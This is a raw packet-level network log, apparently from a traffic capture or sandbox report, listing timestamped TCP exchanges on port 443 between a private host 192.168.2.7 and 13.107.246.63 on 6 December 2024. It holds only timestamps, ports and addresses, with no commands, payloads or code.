Dec 6, 2024 15:52:48.422460079 CET	443	49758	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.422468901 CET	49758	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.422475100 CET	443	49758	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.425420046 CET	49766	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.425447941 CET	443	49766	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.425520897 CET	49766	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.425693035 CET	49766	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.425709009 CET	443	49766	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.570285082 CET	443	49759	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.570353031 CET	443	49759	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.570707083 CET	49759	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.571182013 CET	49759	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.571201086 CET	443	49759	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.571211100 CET	49759	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.571217060 CET	443	49759	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.574903965 CET	49767	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.574945927 CET	443	49767	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.575090885 CET	49767	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.575403929 CET	49767	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.575412989 CET	443	49767	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.595341921 CET	443	49760	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.595405102 CET	443	49760	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.595470905 CET	49760	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.595695972 CET	49760	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.595715046 CET	443	49760	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.595725060 CET	49760	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.595731020 CET	443	49760	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.599348068 CET	49768	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.599381924 CET	443	49768	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.599534035 CET	49768	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.599756956 CET	49768	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.599771023 CET	443	49768	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.639700890 CET	443	49761	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.639790058 CET	443	49761	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.640168905 CET	49761	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.640861034 CET	49761	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.640882969 CET	443	49761	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.640918016 CET	49761	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.640923977 CET	443	49761	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.645164967 CET	49769	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.645205021 CET	443	49769	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.646589041 CET	49769	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.646910906 CET	49769	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.646927118 CET	443	49769	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.965795994 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.965883017 CET	49762	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.969389915 CET	49762	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.969398975 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.969664097 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:49.023746967 CET	49762	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:49.306873083 CET	49762	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:49.351330042 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:49.705440044 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:49.705472946 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:49.705481052 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:49.705533981 CET	49762	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:49.705547094 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:49.705559969 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:49.705713034 CET	49762	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:49.710807085 CET	443	49765	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:49.711435080 CET	49765	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:49.711453915 CET	443	49765	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:49.713300943 CET	49765	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:49.713306904 CET	443	49765	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:49.761884928 CET	49762	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:49.761909962 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:49.761919975 CET	49762	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:49.761925936 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:49.967539072 CET	49771	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:49.967552900 CET	443	49771	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:49.967618942 CET	49771	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:49.983948946 CET	49771	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:49.983963013 CET	443	49771	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.146521091 CET	443	49765	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.146595955 CET	443	49765	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.146728992 CET	49765	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.146915913 CET	49765	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.146915913 CET	49765	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.146935940 CET	443	49765	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.146950006 CET	443	49765	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.148607016 CET	443	49766	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.149327040 CET	49766	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.149343014 CET	443	49766	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.149795055 CET	49766	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.149800062 CET	443	49766	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.151062012 CET	49772	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.151113033 CET	443	49772	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.151180029 CET	49772	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.151328087 CET	49772	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.151340008 CET	443	49772	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.251550913 CET	443	49769	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.252166986 CET	49769	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.252190113 CET	443	49769	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.252737999 CET	49769	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.252743959 CET	443	49769	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.306370020 CET	443	49767	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.306890011 CET	49767	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.306900024 CET	443	49767	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.307384968 CET	49767	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.307389975 CET	443	49767	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.337330103 CET	443	49768	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.338634968 CET	49768	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.338663101 CET	443	49768	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.339139938 CET	49768	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.339144945 CET	443	49768	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.590635061 CET	443	49766	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.590701103 CET	443	49766	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.593233109 CET	49766	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.594110966 CET	49766	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.594110966 CET	49766	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.594130039 CET	443	49766	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.594141006 CET	443	49766	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.602475882 CET	49773	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.602524042 CET	443	49773	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.602637053 CET	49773	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.603450060 CET	49773	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.603461981 CET	443	49773	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.713923931 CET	443	49769	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.714010000 CET	443	49769	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.718511105 CET	49769	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.741179943 CET	443	49767	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.741261959 CET	443	49767	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.750057936 CET	49767	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.778646946 CET	443	49768	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.778717995 CET	443	49768	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.783338070 CET	443	49768	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.783544064 CET	49768	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.799117088 CET	49769	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.799117088 CET	49769	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.799155951 CET	443	49769	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.799161911 CET	443	49769	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.862533092 CET	49767	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.862533092 CET	49767	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.862565041 CET	443	49767	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.862581968 CET	443	49767	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.883120060 CET	49768	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.883148909 CET	443	49768	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.883164883 CET	49768	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.883172035 CET	443	49768	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.978466988 CET	49774	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.978502035 CET	443	49774	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.979804993 CET	49775	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.979854107 CET	443	49775	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.979882002 CET	49774	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.980005980 CET	49775	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.980879068 CET	49774	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.980895996 CET	443	49774	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.981723070 CET	49775	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.981736898 CET	443	49775	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.984288931 CET	49776	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.984329939 CET	443	49776	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:50.984476089 CET	49776	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.984659910 CET	49776	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:50.984677076 CET	443	49776	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:51.521945000 CET	443	49771	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:51.522027016 CET	49771	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:51.523530006 CET	49771	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:51.523542881 CET	443	49771	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:51.523781061 CET	443	49771	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:51.526118040 CET	49771	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:51.526156902 CET	49771	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:51.526190996 CET	443	49771	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:51.885294914 CET	443	49772	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:51.886109114 CET	49772	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:51.886153936 CET	443	49772	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:51.886607885 CET	49772	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:51.886614084 CET	443	49772	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.013550043 CET	443	49771	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.013575077 CET	443	49771	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.013622046 CET	443	49771	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.013634920 CET	443	49771	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.013887882 CET	49771	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.014132023 CET	49771	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.071609020 CET	49771	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.071630001 CET	443	49771	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.071650982 CET	49771	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.071656942 CET	443	49771	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.137209892 CET	443	49773	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.138237953 CET	49773	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.138258934 CET	443	49773	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.138839960 CET	49773	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.138844967 CET	443	49773	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.447519064 CET	443	49772	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.447598934 CET	443	49772	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.447885990 CET	49772	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.447946072 CET	49772	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.447946072 CET	49772	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.447972059 CET	443	49772	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.447982073 CET	443	49772	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.451015949 CET	49778	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.451064110 CET	443	49778	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.451173067 CET	49778	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.451390028 CET	49778	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.451406956 CET	443	49778	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.572094917 CET	443	49773	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.572165012 CET	443	49773	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.572279930 CET	49773	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.572756052 CET	49773	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.572781086 CET	443	49773	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.572789907 CET	49773	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.572798014 CET	443	49773	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.576313972 CET	49779	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.576354027 CET	443	49779	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.576598883 CET	49779	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.577213049 CET	49779	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.577229023 CET	443	49779	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.699987888 CET	443	49775	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.700151920 CET	443	49776	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.700690031 CET	49775	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.700722933 CET	443	49775	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.701184988 CET	49775	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.701191902 CET	443	49775	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.701803923 CET	49776	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.701836109 CET	443	49776	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:52.702186108 CET	49776	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:52.702193022 CET	443	49776	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.134885073 CET	443	49775	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.134959936 CET	443	49775	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.135458946 CET	443	49776	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.135526896 CET	443	49776	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.139336109 CET	443	49775	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.141257048 CET	49775	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.141434908 CET	49776	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.145550966 CET	49775	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.145577908 CET	443	49775	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.145590067 CET	49775	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.145596981 CET	443	49775	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.146857023 CET	49776	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.146904945 CET	443	49776	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.146923065 CET	49776	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.146934032 CET	443	49776	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.149638891 CET	49780	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.149666071 CET	443	49780	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.150710106 CET	49781	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.150757074 CET	443	49781	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.155467987 CET	49780	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.155579090 CET	49781	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.159233093 CET	49780	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.159248114 CET	443	49780	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.159421921 CET	49781	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.159440994 CET	443	49781	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.492983103 CET	443	49774	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.547267914 CET	49774	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.547291040 CET	443	49774	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.547941923 CET	49774	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.547949076 CET	443	49774	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.929133892 CET	443	49774	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.929195881 CET	443	49774	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.939439058 CET	49774	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.940057993 CET	49774	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.940084934 CET	443	49774	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.940099955 CET	49774	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.940105915 CET	443	49774	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.943761110 CET	49782	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.943806887 CET	443	49782	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:53.943886042 CET	49782	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.944390059 CET	49782	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:53.944399118 CET	443	49782	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.171777964 CET	443	49778	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.173191071 CET	49778	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:54.173223019 CET	443	49778	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.173733950 CET	49778	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:54.173741102 CET	443	49778	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.293802023 CET	443	49779	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.294660091 CET	49779	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:54.294681072 CET	443	49779	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.295145988 CET	49779	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:54.295151949 CET	443	49779	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.615366936 CET	443	49778	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.615449905 CET	443	49778	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.623884916 CET	49778	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:54.624852896 CET	49778	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:54.624877930 CET	443	49778	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.624890089 CET	49778	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:54.624896049 CET	443	49778	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.629143953 CET	49783	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:54.629178047 CET	443	49783	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.629328966 CET	49783	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:54.629529953 CET	49783	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:54.629544973 CET	443	49783	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.735568047 CET	443	49779	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.735640049 CET	443	49779	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.735822916 CET	49779	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:54.735903978 CET	49779	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:54.735925913 CET	443	49779	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.735943079 CET	49779	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:54.735949993 CET	443	49779	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.740279913 CET	49784	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:54.740331888 CET	443	49784	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.740426064 CET	49784	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:54.740588903 CET	49784	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:54.740607023 CET	443	49784	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.879687071 CET	443	49781	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.880269051 CET	49781	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:54.880281925 CET	443	49781	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:54.880768061 CET	49781	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:54.880774021 CET	443	49781	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:55.418852091 CET	443	49781	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:55.418931007 CET	443	49781	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:55.423521042 CET	49781	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:55.424259901 CET	49781	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:55.424279928 CET	443	49781	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:55.424290895 CET	49781	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:55.424299002 CET	443	49781	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:55.427536964 CET	49786	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:55.427575111 CET	443	49786	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:55.427820921 CET	49786	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:55.428008080 CET	49786	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:55.428021908 CET	443	49786	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:55.474577904 CET	443	49780	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:55.479079962 CET	49780	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:55.479109049 CET	443	49780	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:55.479645967 CET	49780	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:55.479652882 CET	443	49780	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:55.688647032 CET	443	49782	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:55.701488972 CET	49782	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:55.701518059 CET	443	49782	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:55.701972961 CET	49782	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:55.701978922 CET	443	49782	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:55.915530920 CET	443	49780	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:55.915601969 CET	443	49780	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:55.915751934 CET	49780	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:55.916682005 CET	49780	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:55.916682005 CET	49780	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:55.916702032 CET	443	49780	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:55.916712999 CET	443	49780	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:55.922142982 CET	49787	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:55.922183037 CET	443	49787	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:55.922301054 CET	49787	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:55.923943996 CET	49787	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:55.923957109 CET	443	49787	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:56.123414040 CET	443	49782	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:56.123485088 CET	443	49782	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:56.138629913 CET	49782	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:56.287895918 CET	49782	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:56.287895918 CET	49782	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:56.287925959 CET	443	49782	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:56.287935972 CET	443	49782	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:56.366625071 CET	49788	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:56.366677046 CET	443	49788	13.107.246.63	192.168.2.7
